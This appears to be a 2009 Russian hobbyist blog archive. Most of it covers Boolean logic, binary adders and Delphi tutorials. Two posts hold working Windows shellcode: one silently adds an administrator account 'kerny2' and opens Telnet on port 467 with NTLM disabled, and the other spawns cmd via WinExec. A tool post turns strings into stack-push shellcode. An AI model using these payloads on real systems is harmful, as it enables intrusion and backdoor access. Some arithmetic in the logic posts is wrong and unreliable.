Есть возможность редактировать и отправлять пакеты, полагаю с помощью этого инструмента TCP hijacking, становится более доступной.

Скачать

От формул к процессору - V

2009-05-07T22:40:00.003+04:00

От формул к процессору - V
Многоразрядный двоичный сумматор.

В прошлой статье мы рассмотрели работу двоичного полусумматора, думаю самое время рассмотреть работу полного одноразрядного сумматора!

Но в начале договоримся, т.к мы будем работать со системами счисления, то после чисел в двоичной системе я буду ставить букву "b", а после десятичных "d".

Полной одноразрядный сумматор будет считать числа только в пределах одного двоичного разряда:

1+1=10
1+0=1
0+1=1
0+0=0

Но тут вы можете возмутиться, и сказать,- "Ведь мы это рассматривали в предыдущей статье!"
Да, действительно рассматривали. Так вот, идея состоит вот в следующем, нужно придумать два одноразрядных сумматора, которые при обьединение определенным образом, давали двуразрядный сумматор, а при объединение трех таких сумматоров, давали трехразрядный.
Надеюсь все понимают что такое разрядность?

Например число 777d:

777=7*10^2+7*10^1+7*10^0
3разрядно.

Вот тоже самое число в двоичной:
1100001001b

1100001001b=1*2^9+1*2^8+0*2^7+0*2^6+0*2^7+0*2^6+1* 2^5+0*2^4+0*2^3+1*2^2+1*2^1+1*2^0=
=1*2^9+1*2^8+0+0+0+0+1*2^5+0+1*2^2+1*2^1+1*2^0=512 +256+8+1=777d

Число 9разрядно, тоесть получаем, Число 777d 3разрядно, а в двоичной системе 9разрядно 3*2=9 (2 - основание системы счисления)
Тоесть чтобы складывать числа в пределах десяти(10d), нам нужен четырехразрядный сумматор (число 10d 2разрядно, значит 2*2=4), что значит в пределах десяти? Значит, что сумма A+B не должна превышать число 10d, или число 1010b.

В прошлый раз мы рассмотрели такую ситуацию, для сумматора и нам удалось составить соответствующие формулы.
A_+_B___=____P_S
0_+_0___=____0_0
0_+_1___=____0_1
1_+_0___=____0_1
1_+_1___=____1_0

Рассмотрим такой случай:
10b+1b=11b
как мы это посчитали? сложили младший разряд первого числа + второе число (там 1разряд)
10b
01b
11b

Тут все просто, а теперь давайте возьмем такой случай
11b+1b=100b

011b
001b
100b

Суммируем, так берем младший разряд первого числа(1b), плюс второе число(1b) 1b+1b=10b, ноль пишем один в уме, поднимаемся на разряд, 1b+0b=1
Получаем 1b, но у нас еще 1b в уме, 1+1=10, снова ноль пишем 1b в уме, дальше разряды кончаются поэтому записываем единицу, в итоге получается:100b.
Отсюда напрашивается один простой вывод, в наши старые формулы нужно добавить еще одну переменную, которая будет хранить перенос из младшего разряда в старший (то, что мы храним в уме), причем значение этого переноса может быть либо 0b либо 1b, назовем эту переменную p0, кто непомнит просто P - старший разряд.
Нам нужно найти формулу при которой, будут выполняться следующее условие:

A__+_B_____p0_____P______S
0__+_0_____1______0______1
0__+_1_____1______1______0
1__+_0_____1______1______0
1__+_1_____1______1______1

Заметьте, здесь перенос всегда активен (всегда равен 1b), например складываем 1b+0b, где - то в середине числа, и перенос из младшего разряда равен 1b(в предыдущем разряде скорее всего было суммирование 1b+1b или тоже был перенос из другого, более младшего разряда)
Получается 1b+0b=1b да плюс перенос из младшего разряда 1b+1b=10b.

1__+_0_____1______1______0

Ну, что ж все вроде работает осталось найти формулу, благо все формулы уже найденны, и мы не будем заниматься нудной работой.

P=(A*B)+(A*p0)+(B*p0)

A____B_____p0____A*B_____A*p0___B*p0___(A*B)+(A*p0 )_______P
0____0_____0______0________0______0__________0____ _______0
0____1_____0______0________0______0__________0____ _______0
1____0_____0______0________0______0__________0____ _______0
1____1_____0______1________0______0__________1____ _______1

___________________При_ p0=1_______________________________

0____0_____1______0________0______0__________0____ _______0
0____1_____1______0________0______1__________0____ _______1
1____0_____1______0________1______0__________1____ _______1
1____1_____1______1________1______1__________1____ _______1

S=(A+B+p0)*noP+(A*B*p0)

A____B_____p0_____P_____A+B_____A+B+p0______noP___ (A+B+p0)*noP_____A*B*p0_____S
0____0_____0______0______0________0____________1__ ________0____________0________0
0____1_____0______0______1________1____________1__ ________1____________0________1
1____0_____0______0______1________1____________1__ ________1____________0________1
1____1_____0______1______1________1____________0__ ________0____________0________0

___________________________________При_ p0=1______________________________________

0____0_____1______0______0________1____________1__ ________1____________0________1
0____1_____1______1______1________1____________0__ ________0____________0________0
1____0_____1______1______1________1____________0__ ________0____________0________0
1____1_____1______1______1________1____________0__ ________0____________1________1

Еще тут есть одно условие P, должно быть вычисленно раньше с S, так как noP (отрицание P учавствует во второй формуле), Думаю вам будет интересно взглянуть на логическую схему, логические элементы там изображены немного иначе.

Как вы поняли это схема все равно будет складывать числа в пределах 1разряда двоичного разряда. Нууу... скажете вы, и все это мы читали только ради этого?

Нет, следующая схема суммирует числа в пределах 10d, 1010b, тоесть четырех разрядный сумматор.

Итак, получаем следующий вывод, что любой многоразрядный сумматор можно сделать из нескольких одноразрядных, причем чем больше одноразрядных сумматоров обьединено, тем больше разрядность у сумматора.

Продолжение следует....

(c)Kerny

От формул к процессору - IV

2009-05-07T22:31:00.002+04:00

От формул к процессору - IV

Приступим, в предыдущей статье мы рассмотрели основные логические элементы, теперь разберемся с логическими схемами, попробуем построить схему для логического выражения
B∙неА+неB∙A=C

Надеюсь, принцип вы поняли. Теперь рассмотрим физическую реализацию логических элементов,
Начнем с элемента “не”.

Как видим на рисунке если подаем 0, то ничего не происходит…. Если 1, то канал закрывается и газ не проходит(может быть и жидкость). Надеюсь понятно.
Логическое сложение:

Как видим из рисунка, у нас получается:

A _________B ________С
1__________1________0
1__________0________0
0__________1________0
0__________0________1

А, надо:

A _________B ________С
1__________1________1
1__________0________1
0__________1________1
0__________0________0

Что ж - это не проблема, нам всего лишь нужно инвертировать полученный результат

A _________B ________С________неС
1__________1________0________1
1__________0________0________1
0__________1________0________1
0__________0________1________0

А при физической реализации, добавить в схему инвертор.
Логическое умножение:

И тут тоже придется добавить инвертор.

A _________B ________С________неС
1__________1________0________1
1__________0________1________0
0__________1________1________0
0__________0________1________0

Что ж вот основной принцип…

А теперь займемся непосредственно формулами и логическими схемами, сегодня нам предстоит не много не мало, а придумать схему так называемого «полусумматора двоичных чисел», ведь мы знаем, что достаточно научить схему одному арифметическому действию – сложению, и получим какой ни какой, а процессор!

Так, за помощь обратимся к двоичной системе счисления, попробуем сложить в двоичной системе, числа, имеется в виду не логическое сложение, а арифметическое.

1+1=10
1+0=1
0+1=1
0+0=0

Можете проверить с помощью калькулятора Windows.
Что бы вам легче было понять, составим таблицу:

(Арифметическое сложение, а не логическое, обратите внимание на знак «=», p s идут как одно число, это для того, что бы было видно разрядность числа )

A ____+____B ____=___P________S
1__________1________1________0
1__________0________0________1
0__________1________0________1
0__________0________0________0

A и В, числа которые складываем (в двоичной системе счисления), S – результат сложения (сумма), P – перенос из разряда, это нужно для случая 1+1=10, так как здесь, получается 10 (правильно говорить не десять, а один и ноль), то 1 пойдет в перенос (P) , а 0 в сумму (s), таким образом значение суммы(s) 0,1,1,0, значит мы должны найти такую формулу, при которой

(Арифметическое сложение, а не логическое)

A ____+____B _____=_____S
1__________1___________0
1__________0___________1
0__________1___________1
0__________0___________0
В одной из статей я показывал, как это делается – простым подбором. Вот искомая формула:

S=(A+B)*не(A*B)

Можете её проверить, вы это уже умеете.

Для переноса (P)

(Арифметическое сложение, а не логическое)

A ____+____B _____=_____P
1__________1___________1
1__________0___________0
0__________1___________0
0__________0___________0

Тут и думать нечего, P=A*B, начертим логическую схему полусумматора двоичных чисел:

Надеюсь, вы все поняли, в следующих статьях мы разберем, как данные логические схемы реализовывать радиотехнически, и тп.
Если же здесь есть механик, то он может взять сварочный аппарат и сделать механический полусумматор двоичных чисел))

Желаю удачи!

(c)Kerny

От формул к процессору - III

2009-05-07T22:21:00.008+04:00

От формул к процессору - III

Итак, третья статья из цикла!

Приступим!
Помните, я вам говорил, что всего логических операции три, и что через них выражаются все остальные, так вот сегодня мы рассмотрим это.
Значит, начнем с эквиваленции
Как мы помним, она выглядит так

A _________B ________С
1__________1________1
1__________0________0
0__________1________0
0__________0________1

Получается, что мы должны найти выражение, состоящее из простых логических операций (инверсия, конъюнкция, дизъюнкция), которое бы в результате давало см. таблицу. Ну что ж попробуем подобрать нужную нам формулу….
Будем брать тока первую строку из нашей таблицы:

A _________B ________С
1__________1________1

Тоесть при значениях А=1, B=1, нужно получить значение С=1. В чем проблема? - спросите вы. Это же обычная конъюнкция 1*1=1, Да это конъюнкция, но она нам не подходит – не забываем, что мы должны решить задачу в общем виде – заменим выражение 1*1=1 формулой А*В=С, и попробуем, подставить другие значения например 0*0=0, и видим, что это не подходит т.к при эквиваленции 0*0=1, а теперь не большой секрет – то, что я только что вам втирал можно было опровергнуть иначе, просто подумав – это же одна логическая операция – конъюнкция, а конъюнкция не может быть равна эквиваленции, отсюда вывод в нашей формуле должно быть больше одной логической операции, и еще если вы хорошо усвоили предыдущий материал, то должны знать, что 1*1*1=1, тоже не подойдет, т. к после преобразования получиться 1*1=1, отсюда еще один вывод, наша формула не должна преобразовываться, найдем нашу формулу:
Пробуем разные комбинации, ниже подставляем вместо букв значения и сравниваем их с таблицей эквиваленции …
________________
A*B+B=C
1*1+1=1
1*0+0=0
0*1+1=1
Уже не подходит.
____________________
A*B+А*B=C
1*1+1*1=1
1*0+1*0=0
0*0+0*0=0
не подходит
____________________
A*B+неА*неB=C
1*1+не1*не1=1
1*0+не1*не0=0
0*1+не0*не1=0
0*0+не0*не0=1
____________________
Ура! Нашли нужную нам формулу!
Итак, мы выяснили, что эквиваленцию можно выразить следующей формулой :
A*B+неА*неB=C
Импликацию мы не будем выражать, я показал вам лишь ход мыслей….
Формула импликации: неА+В
A _________B ________С
1__________1________1
1__________0________0
0__________1________1
0__________0________1

А теперь, рассмотрим, как это все изображается – схемами. Люди знакомые с программированием знают, что алгоритм программы можно изображать в виде блок схем, так вот здесь это тоже имеет место быть…. И это называется это логическими схемами.
Так как, основных логических операций всего три, то и логических элементов будет три…
Смотрите рисунок:

Итак, вы видите коньюнктор, у него всегда два входа и один выход, на вход подаются А и В (для отличия его от дизъюнктора добавляется символ & см. рисунок), в результате на выходе будет А*В, например:
Подаются значения 1 и 0, в результате будет 0.
Ниже дизъюнктор , у него всегда два входа и один выход, на вход подаются А и В (для отличия его от коньюнктора добавляется символ 1 см. рисунок), в результате на выходе будет А+В, например:
Подаются значения 1 и 0, в результате будет 1.
И последний элемент инвертор, у него один вход и один выход, если на вход подать 1 то результатом будет 0 и наоборот.
Это так сказать промежуточная статья – так, что не ругайте…. Скоро будет еще интереснее.

(с)Kerny

От формул к процессору - II

2009-05-07T22:12:00.004+04:00

От формул к процессору - II

Надеюсь вы хорошо усвоили материал прошлой статьи! сегодня мы изучим правила преобразования логических выражений….

Так для начала условимся – Логическое произведение (КОНЬЮНКЦИЯ) – записываем так A*B (логическое произведение А на В) или можно еще записывать так А&B.
Логическое сложение (ДИЗЪЮНКЦИЯ) – записываем так А+В , можно еще записать по другому на клавиатура мне не позволяет….
Логическое отрицание (ИНВЕРСИЯ) – записывать будем, как неА.

Закон непротиворечия

Закон непротиворечия, означает следующее A не может быть равно своему отрицанию,
неA *A=0
Например есть выражение A *неA+B, догадайтесь чему оно будет равно? Правильно A *неA+B=B.

Закон исключения третьего

Высказывание может быть либо истинным либо ложным, третьего не дано. Это означает, что результат логического сложения высказывания и его отрицания принимает значение истинна.
А+неА=1
Да и незабываем , 1 - это истинна, 0 – это ложь. Что бы, было легче можно представлять , так «+», это «или», «*» - это «и», а инверсия – тут и так понятно….

Закон двойного отрицания

Если выражение дважды отрицается, то в результате мы получим исходное высказывание. Например:
ненеА=А
Так же, как в Алгебре минус на минус - дает плюс.

Закон тождества

Всякое высказывание тождественно самому себе. Например А=А.

Законы Моргана

Первый закон Де Моргана.

не(А + В)= неА* неВ

Отрицание выражения (А или В) равно неА и неБ, давайте проверим!? Для этого построим так называемую таблицу истинности:

А______В_____неА____неВ__(А+В)__Не(А+В)___неА* неВ
0______0______1______1_____0______1_________1
0______1______1______0_____1______0_________0
1______0______0______1_____1______0_________0
1______1______0______0_____1______0_________0

Сначала, даем начальные значения А и Б, затем их инвертируем, после подвергаем значения А и В дизъюнкции (операция «или»), затем то, что получилось инвертируем и получаем – одну единицу и три нуля… Теперь берем значения неА и неВ и подвергаем коньюнкции(логическое умножение) и в результате получаем , единицу и три ноля… тоесть не(А + В)= неА* неВ, формула верна

Второй закон Де Моргана.

не(А*В)= неА + неВ

А______В______неА___неВ__(А*В)___Не(А*В) ______неА+ неВ
0______0______ 1_____1______0______1_____________1
0______1______ 1_____0______0______1_____________1
1______0______ 0_____1______0______1_____________1
1______1______ 0_____0______1______0_____________0

Тоже самое здесь - формула верна. Мы сейчас строили таблицы истинности – вообще-то это проходится по информатике….

А теперь пару примеров:

Не(А+В)*(А*неВ)

Начнем, видим в первой части выражения не(А+В) – первый закон Де Моргана – преобразовываем:

НеА*неВ*(А*неВ), раскроем скобки
НеА*неВ*А*неВ, видим неА и А, - закон непротиворечия .
Остается

НеВ*неВ

Смотрим НеВ*неВ, ага это равно просто неВ, спросите почему? Допустим есть некое третье значение например, значение С.

С*неВ*неВ=С*неВ, допустим С=0

А неВ равно 1, тогда

0*1*1=0, а это тоже самое что и 0*1.

Вот и получается, что неВ*неВ, равно просто неВ. Так вернёмся к примеру:

Получаем,

0*неВ=0, тут можно пойти двумя путями, первый я назвал его алгебраический – умножение на ноль всегда дает ноль, или второй логический:
У нас операция конъюнкция(вспоминаем союз «и») а эта операция так сказать истинна только в одном случае, когда оба значения истинны, тоесть 1*1=1, смотрим на первый множитель нашего выражения он уже равен нолю… Значит чему бы небыло равно, значение неВ, хоть 1 хоть 0, всегда будет ложь(ноль). В принципе остальные примеры решаются также.
Наверное, сейчас вы задаетесь мыслями, а зачем это? Хотел написать ответ в этой статье, но передумал, скажу лишь, что узнаете в последующих статьях. Это только начало!

(c)Kerny

От формул к процессору - I

2009-05-07T22:02:00.006+04:00

От формул к процессору - I

Этим уроком я открываю цикл статей посвященных – логике, и самое главное логическим основам работы процессора. Вы поймете, как работает процессор на физическом и логическом уровнях.

Но для начала нам нужно изучить формальную логику и начнем с основных логических операций:
Всего может быть два возможных состояния – Сильный сигнал и Слабый, Истинна и Ложь, 1 и 0.

Первая логическая операция.

Логическое отрицание - ИНВЕРСИЯ - если исходное выражение истинно, то результат отрицания будет ложным, и наоборот, если исходное выражение ложно, то результат отрицания будет истинным. Например:

A ____неА
1_____ 0
0_____1

С = A & B

Вторая логическая операция.

Логическое умножение - КОНЪЮНКЦИЯ - это выражение будет истинно в одном случае, когда оба значения верны. Например, высказывание “Дождь будет утром и вечером”, верно только в одном случае если дождь будет и утром и вечером, а ложно, если дождь будет вечером, а утром не будет и наоборот.

A & B = С
1__1= 1
1__0= 0
0__1= 0
0__0= 0

То есть Истинна и Истинна = Истинна
Истинна и Ложь = Ложь
Ложь и Истинна =Ложь
Ложь и Ложь = Ложь

Как и говорил, наше выражение будет истинным только в одном случае.

Третья логическая операция.

С = A + B

Логическое сложение – ДИЗЪЮНКЦИЯ - это выражение будет истинно во всех случаях, кроме одного, когда оба значения ложны. Например, высказывание Дождь будет утром или вечером, означает следующее – Дождь будет только вечером, - Дождь будет только утром, - Дождь будет и утром и вечером. Но из-за характерных особенностей русского языка многие считают, что это высказывание означает, Дождь будет только вечером, либо Дождь будет только утром, а третьего в расчет не берут.

A + B = С
1__1= 1
1__0= 1
0__1= 1
0__0= 0

То есть Истинна или Истинна = Истинна
Истинна или Ложь = Истинна
Ложь или Истинна = Истинна
Ложь или Ложь = Ложь

Как и говорил, наше выражение будет ложно только в одном случае.

Четвертая логическая операция.

Логическое следование: ИМПЛИКАЦИЯ - связывает два простых логических выражения, из которых первое является условием , а второе – следствием из условия. Это было научное определение так сказать, а сейчас объясню, что все это значит = короче представьте вам дали решить задачу, и условия к этой задачи тоже дали(исходные данные), вам осталась подумать над решением.

Рассмотрим эту ситуацию:
Вам дали правильные исходные данные к задаче – решали правильно, значит решили правильно(истинно).
Вам дали правильные исходные данные к задаче – но решали не правильно, значит решили неправильно(ложь).
Вам дали неправильные исходные данные к задаче – но решали вы все равно правильно(чудо), значит решили правильно(истинна).
Вам дали неправильные исходные данные к задаче – решали неправильно, значит решили неправильно(истинна). Спросите почему Истинна? А как вы могли решить если исходные данные не верны, значит в итоге истинна.

A B = С
1__1= 1
1__0 =0
0__1= 1
0__0= 1

Ложь тока в одном случае, когда думали не правильно.

Пятая логическая операция.

Логическая равнозначность: ЭКВИВАЛЕНТНОСТЬ - определяет результат сравнения двух простых логических выражений А и В. Результатом ЭКВИВАЛЕНТНОСТИ является новое логическое выражение, которое будет истинным тогда и только тогда, когда оба исходных выражения одновременно истинны или ложны. Короче истина ЭКВИВАЛЕНТНА истине. А ложь ЭКВИВАЛЕНТНА лжи.

A B = С
1__1 = 1
1__0 = 0
0__1 = 0
0__0 =1

Э то основные логические операции, через них можно выразить все остальные. Хотя ели сказать по секрету, то основных операции всего три

Логическое отрицание - ИНВЕРСИЯ
Логическое умножение - КОНЪЮНКЦИЯ
Логическое сложение – ДИЗЪЮНКЦИЯ

Через них выражаются и ИМПЛИКАЦИЯ, и ЭКВИВАЛЕНЦИЯ и остальные. В последующих статьях мы это разберем - а пока усвойте этот материал. И если усвоите, то вы на шаг приблизитесь к пониманию работы процессора и всего остального.

(c) Kerny

Shellcode for Windows NT run Telnet

2009-05-07T19:51:00.005+04:00

Shellcode for Windows NT run Telnet

записываем в память строку:

%/k chcp 1251 && net user kerny2 paswd /add && net localgroup Администраторы kerny2 /add & sc config tlntsvr start= auto && tlntadmn config port=467 sec=-NTLM && net start Telnet

Затем вызываем командную строку и передаем ей эту строку, как параметр, в результате создан пользователь, и запущена служба telnet на 467 порту. В качестве памяти приходится юзать стек...

push 00074656Eh

push 06C655420h
push 074726174h
push 073207465h
push 06E202626h
push 0204D4C54h
push 04E2D3D63h
push 065732037h
push 036343D74h
push 0726F7020h
push 06769666Eh
push 06F63206Eh
push 06D646174h
push 06E6C7420h
push 02626206Fh
push 074756120h
push 03D747261h
push 074732072h
push 07673746Eh
push 06C742067h
push 069666E6Fh
push 063206373h
push 020262620h
push 06464612Fh
push 020326E72h
push 0656B20FBh
push 0F0EEF2E0h
push 0F0F2F1E8h
push 0EDE8ECE4h
push 0C0207075h
push 06F72676Ch
push 061636F6Ch
push 02074656Eh
push 020262620h
push 06464612Fh
push 020373164h
push 06E657320h
push 0326E7265h
push 06B207265h
push 073752074h
push 0656E2026h
push 026203135h
push 032312070h
push 063686320h

push 0206b2f25h

mov eax,esp

push 0

push 0646D63h ;cmd в стек
pop ecx
mov [esp],ecx
push esp
pop ebx

push 0
push 0

push 06E65706Fh ;open в стек
pop ecx
mov [esp],ecx
push esp
pop ecx

push 5
push 0
push eax
push ebx
push ecx
push 0

call 7CA40F40

Если у кого есть более эффективный код (уверен он есть), я рад буду на него посмотреть.

Подсветка синтаксиса RichEdit

2009-05-07T19:19:00.008+04:00

Подсветка синтаксиса RichEdit

RichEdit delphi процедура подсветки синтаксиса assembler диалект masm:

procedure masmsint;
const
word: array[1..47] of string[15] = ('if','then','else','push','end','jmp','jnz',
'CMP','test','repeat','call','JE','JZ','JNE','ret','JS','JNS',
'JP','JPE','JNP','JOP','JO','JNO','JB','JNAE',
'JNB','mov','in','and','or','xor','not','JAE','JBE','JNA','JNBE',
'JNA','JA','JL','JNGE','JNL','JGE','JLE','JNG','JNLE','JG','JNA');

includ: array[1..19] of string[15] =('includelib','include','.code','invoke','SIZEOF','.data','db',
'dd','dw','OFFSET','.ENDW','LOCAL','.If','.elseif','proc','option','endp','.model','.while');

number: array[1..17] of string[30] = ('0','1','2','3','4','5','6',
'7','8','9','.','.386','kernel32.lib','user32.lib','windows.inc','kernel32.inc','user32.inc');

burder: array[1..13] of string[15] = ('flat','stdcall','casemap','none','C','BYTE','?',
'addr','\',',','<','>','<>');

registry: array[1..22] of string[53] = ('eax','ebx','ecx','EDX','ESP','EBP','ESI',
'EDI','EIP','AX','BX','CX','DX','SI','DI','BP','SP','CS','DS','ES','SS','CS');

var
k,k1,i: integer;
begin
for i:=1 to length(word) do
begin
k:=-length(word[i]);
repeat
k:=RichEdit1.FindText(word[i],k+length(word[i]),
length(RichEdit1.Text)-k-length(word[i]),[stWholeWord]);
RichEdit1.SelStart:=k;
RichEdit1 .SelLength:=length(word[i]);
RichEdit1 .SelAttributes.Style:=[fsBold];
RichEdit1 .SelAttributes.Color:=clblue;
until k <0;
end;

for i:=1 to length(includ) do
begin
k:=-length(includ[i]);
repeat
k:=RichEdit1.FindText(includ[i],k+length(includ[i]),
length(RichEdit1.Text)-k-length(includ[i]),[stWholeWord]);
RichEdit1 .SelStart:=k;
RichEdit1 .SelLength:=length(includ[i]);
RichEdit1 .SelAttributes.Style:=[fsBold];
RichEdit1 .SelAttributes.Color:=clGradientActiveCaption;
until k <0;
end;

for i:=1 to length(number) do
begin
k:=-length(number[i]);
repeat
k:=RichEdit1.FindText(number[i],k+length(number[i]),
length(RichEdit1.Text)-k-length(number[i]),[stWholeWord]);
RichEdit1.SelStart:=k;
RichEdit1.SelLength:=length(number[i]);
RichEdit1.SelAttributes.Color:=clred;
until k <0;
end;

for i:=1 to length(burder) do
begin
k:=-length(burder[i]);
repeat
k:=RichEdit1.FindText(burder[i],k+length(burder[i]),
length(RichEdit1.Text)-k-length(burder[i]),[stWholeWord]);
RichEdit1.SelStart:=k;
RichEdit1.SelLength:=length(burder[i]);
RichEdit1.SelAttributes.Style:=[fsBold];
RichEdit1.SelAttributes.Color:=clNavy;
until k <0;
end;

for i:=1 to length(burder) do
begin
k:=-length(registry[i]);
repeat
k:=RichEdit1.FindText(registry[i],k+length(registry[i]),
length(RichEdit1.Text)-k-length(registry[i]),[stWholeWord]);
RichEdit1.SelStart:=k;
RichEdit1.SelLength:=length(registry[i]);
RichEdit1.SelAttributes.Style:=[fsBold];
RichEdit1.SelAttributes.Color:=clSkyBlue;
until k <0;
end;

end;

Данный код может послужить основой подсветки синтаксиса для других языков программирования...

Shellcode for Windows NT

2009-05-05T13:31:00.007+04:00

Shellcode for Windows NT

Шел - код, запускающий cmd, с правами уязвимой программы(26 байт):

asm:

PUSH 646D63 ;заталкиваем 'cmd' в стек
POP EAX ;выталкиваем в eax
MOV DWORD PTR DS:[40F9C3],EAX ;копируем содержимое eax по - адресу 40F9C3, теперь там строка cmd
PUSH 40F9C3 ;заталкиваем в стек указатель на cmd
CALL 7C86136D ;вызываем функцию WinExec

hex:

68 63 6D 64 00 58 A3 C3 F9 40 00 68 C3 F9 40 00 E8 3B 1A 45 7C E9 50 98 FF FF

ascii:

#104+#99+#109+#100+#0+#88+#163+#195+#249+#64+#0+#104+#195

+#249+#64+#0+#232+#59+#26+#69+#124+#233+#80+#152+#255+#255

Визуализация в delphi.

2009-05-05T13:09:00.009+04:00

Визуализация в delphi.

Прежде чем начать, повествование, небольшое введение....

Немного об объектах.

Объекты, можно сказать, берут своё начало с процедур и функций, которые существуют с древних времен, когда накопилось множество этих самых процедур и функции(а это есть некая обособленная от основной программы, подпрограмма, которой передаются некоторые параметры и собственно подпрограмма с ними работает и выдает результат, такой подход позволяет сэкономить время на отладке, а в особо больших программах, где некоторая подпрограмма вызывается несколько раз, да еще и с разными параметрами позволяет уменьшить общий вес программы, во общем не жизнь, а сказка. Так вот когда процедур накопилось огромное количество, лучшие умы сели думать: «Как бы нам, так извратится и обьеденить все наши наработки в единое целое». Да, примерно так и зародилась концепция ООП: «Весь мир объекты» - разнеслось по миру, это можно было считать, новым этапом в развитие языков программирования высокого уровня. Итак, объекты -это объекты в прямом смысле, у любого объекта есть свойства, вы смотрите на небо — оно голубое, это одно из свойств объекта небо, также у объектов есть методы, они позволяют при определенном событие, менять свойства объекта, например ночью небо темное, результат события — вращения земли вокруг своей оси.

Ближе к делу.

Теперь открываем Delphi, создаем новый проект, обычную форму, смотрим на панель инструментов — первая вкладка там, Standard она дает очень мало возможностей по украшению нашей программы, но все же нужна нам, на то она и стандартная, дальше идет вкладка Additional, после Win32, как ни странно их нам будет достаточно, главное правильно совместить между собой несколько компонентов...

Создание красивых Button'ов.

Переносим на форму компонент ToolBar с вкладки Win32, теперь нужно поменять свойство align с alTop на alNone, для этого в object inspector, на вкладке Propeties, ищем наше свойство и меняем на нужное, теперь можем перемещать компонент без проблем по форме. Правой кнопкой мыши кликаем и в контекстном меню выбираем
New button, у нас появилась одна кнопка, можем увеличить или уменьшить ее, либо растянув с помощью мыши либо изменив свойство width (ширина) и height (высота), на нужные, также любое свойство можно менять в коде, причем многократно...

form1.ToolBar1.width:=50;
form1.ToolBar1.height:=50;

Можно также изменить, надпись на кнопке, свойство Caption, еще раз повторю, что любое свойство можно менять прямо в коде:

form1.ToolBar1.caption:='Button';

Значит, дальше поставим красивую иконку на кнопку (можно нарисовать свою или скачать с интернета), кстати заметьте, (панель Structure) что после создания кнопки появился новый объект ToolButton1 принадлежащий ToolBar1, вот такая иерархия, так что некоторые свойства ToolBar1, будут влиять и на ToolButton1, и на остальные созданные кнопки, мы собрались поставить на кнопку картинку для этого нам понадобится еще один компонент ImageList с той же вкладки (Win32), из названия не трудно догадаться, что он предназначен для загрузки большого количества изображений, как вы успели заметить у него не очень много свойств, вначале поменяем ширину и высоту с 16 на 32, width и height, теперь два раза кликаем по компоненту, жмем ADD, и выбираем нужное изображение, видим что под нашей картинкой сразу появился индекс — 0, запомним его... Нажимайте OK.

Выделяем ToolBar1, ищем свойство Images, и выбираем наш ImageList1, видим на кнопке появилось изображение, если нет - выделяем ToolButton1, и меняем свойство ImageIndex, на 0, надеюсь теперь все поняли зачем нужны эти индексы, поменяем фон кнопки на белый — выделяйте ToolBar1 и меняем свойство DrawingStyle на dsGradient, затем свойствам GradientEndColor и GradientStartColor присваиваем значения clMenu, есть еще свойство HotTrackColor, при направлении на кнопку курсором мыши, оно выделяет ее определенным цветом я выбрал clYellow

Во общем поэкспериментируйте, с разными свойствами, посмотрите, на что они влияют и все будет супер...

Теперь самостоятельно загрузите еще несколько картинок в ImageList1, создайте пару новых кнопок, также измените цвет формы (по вкусу, а не как зря), ее заголовок (свойство Caption), добавьте разделители между кнопками (New separator), также ToolBar1, можно поставить на Panel с вкладки Standard. Поставьте иконку
зажмите Shift+Ctrl+F11, после перейдите на вкладку Application => LoadIcon и выберете нужную.

Есть еще куча способов создать красивые кнопки, но до этого вы сами дойдете с накопление опыта.

Подсказки.

Если у вас на кнопке нет текста, то нужны подсказки чтобы пользователь понял, для чего они вообще нужны, обычно за подсказки отвечает свойство hint, но я не склоняюсь к его использованию, предпочитая обычный label, итак переносим на форму label и меняем цвет текста (свойство font) на синий...

А свойство Caption, очищаем.

Теперь переходим к событиям object inspector => Event, тут есть много разных событий но нам нужно только одно, когда курсором мышки мы наводим на кнопку. Выделяем ToolButton1 и выбираем событие OnMouseEnter два раза щелкаем по пустому полю, у нас появляется обработчик события MouseEnter

Набирайте в обработчике события следующий код:

procedure TForm12.ToolButton1MouseEnter(Sender: TObject);
begin
label1.caption:='Кнопка#1';
end;

Запускаете проект наводите на кнопку курсор и смотрите, что у вас получилось. Делайте тоже самое для остальных кнопок и для формы тоже. Для формы присвойте label “пустоту“.

label1.caption:='';

Прозрачное окно.

Чтобы сделать свое окно прозрачным или полупрозрачным, нужно установить свойство AlphaBiend равным true, и мы сможем регулировать прозрачность формы с помощью свойства AlphaBiendVaiue.

Что - бы создать дочернее окно — создаете новую форму, ставите кнопку на главную, и в обработчике щелчка мыши пишете:

form2.show;

Delphi отметит как ошибку, но не обращайте внимания — компилируйте.

Вот и все на сегодня, спасибо за внимание.

Удачи!

2.04.09

(с)Kerny

http://ifolder.ru/11820615

Converter of Hacker

2009-03-17T15:19:00.004+03:00

Примечание: версия 1.1 Full

Привет, сегодня мы разберем функционал программы Converter of Hacker.

Converter of Hacker - программа позволяющая редактировать текст по маскам, пока существует лишь пять масок, но при успешном их комбинировании, возможности существенно возрастают, есть еще и конвертер, можно получать acsii и hex коды символов.

Сверху вниз - наоборот, просто в каждой строке, все символы принимают обратный порядок.

Снизу вверх - наоборот,строки и символы принимают обратный порядок, тоесть первая строка стала последней, вторая предпоследней и т.п

Удалить символ - удаляет любой указанный символ.

С переносом - строка наоборот, но сгрупированна по указанному кол-ву символов

123456

станет:

563412

Это в случае группировки по 2 символа.

Распределить

Это не совсем маска, например вы пишите шел-код у вас есть строка, которую нужно сохранить в памяти, поскольку ваш код будет выполняться в чужой программе, то не будет зарезирвированно значений для вашех переменных, тогда есть один выход, помещать значения в стек, но в стек можно втолкнуть за раз лишь 4 байта, а если строка слишком длинная? и вручную разбивать ее на байты очень долго, за вас это сделает эта маска. Тут как раз можно рассмотреть пример, совместной работы масок, например есть строка

C:\WINDOWS\Driver Cache

ее нужно запихнуть в стек

переводим строку в hex

43 3A 5C 57 49 4E 44 4F 57 53 5C 44 72 69 76 65 72 20 43 61 63 68 65

Далее удалям все пробелы, тоже с помощью маски Удалить символ

433A5C57494E444F57535C447269766572204361636865

Затем применяем маску - С переносом по [n], у нас n=2, это значит будем переность по два символа сразу, получим

6568636143207265766972445C53574F444E49575C3A43

Теперь применим маску распределения, и наконец получим

push 065686361h
push 043207265h
push 076697244h
push 05C53574Fh
push 0444E4957h
push 0005C3A43h

Скоро выложу исходники, и разберу каждую из процедур программы.

С вами был Kerny, удачи!

Скачать программу

ВЗЛОМ ПК, под управлением Windows.

2009-03-05T18:00:00.008+03:00

КЛАССИФИКАЦИЯ АТАК.

Атаки на протокол
Атаки на ПО
Атаки на пользователя

ПОЛИГОН ДЛЯ ИСПЫТАНИЙ.

Необходимый софт:
Любой дистрибьютив Windows XP (SP2,SP3 )
Виртуальная машина Vmware.

